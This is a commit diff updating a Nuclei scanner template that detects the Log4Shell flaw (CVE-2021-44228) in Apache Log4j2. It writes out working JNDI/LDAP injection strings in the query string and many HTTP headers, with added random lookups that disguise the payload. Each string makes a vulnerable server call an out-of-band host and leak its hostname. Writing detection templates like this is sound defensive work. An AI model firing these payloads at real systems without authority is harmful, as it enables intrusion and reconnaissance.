Merge pull request #7098 from j4vaovo/patch-23

Update CVE-2021-44228.yaml
patch-1
Prince Chaddha 2023-05-01 09:17:59 +05:30 committed by GitHub
commit 720d93d414
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1 changed files with 27 additions and 25 deletions

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@ -2,7 +2,7 @@ id: CVE-2021-44228
info:
name: Apache Log4j2 Remote Code Injection
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
severity: critical
description: |
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
@ -20,33 +20,37 @@ info:
cwe-id: CWE-502
tags: cve,cve2021,rce,oast,log4j,injection,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
GET /?x=${jndi:ldap://${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: ${jndi:ldap://${hostName}.accept.{{interactsh-url}}}
Accept-Encoding: ${jndi:ldap://${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language: ${jndi:ldap://${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers: ${jndi:ldap://${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method: ${jndi:ldap://${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication: Basic ${jndi:ldap://${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication: Bearer ${jndi:ldap://${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie: ${jndi:ldap://${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
Location: ${jndi:ldap://${hostName}.location.{{interactsh-url}}}
Origin: ${jndi:ldap://${hostName}.origin.{{interactsh-url}}}
Referer: ${jndi:ldap://${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests: ${jndi:ldap://${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent: ${jndi:ldap://${hostName}.useragent.{{interactsh-url}}}
X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token: ${jndi:ldap://${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment: ${jndi:ldap://${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For: ${jndi:ldap://${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin: ${jndi:ldap://${hostName}.xorigin.{{interactsh-url}}}
Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
stop-at-first-match: true
matchers-condition: and
@ -59,7 +63,7 @@ http:
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
extractors:
- type: kval
@ -70,12 +74,10 @@ http:
part: interactsh_request
group: 2
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# Enhanced by mp on 2022/02/28
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output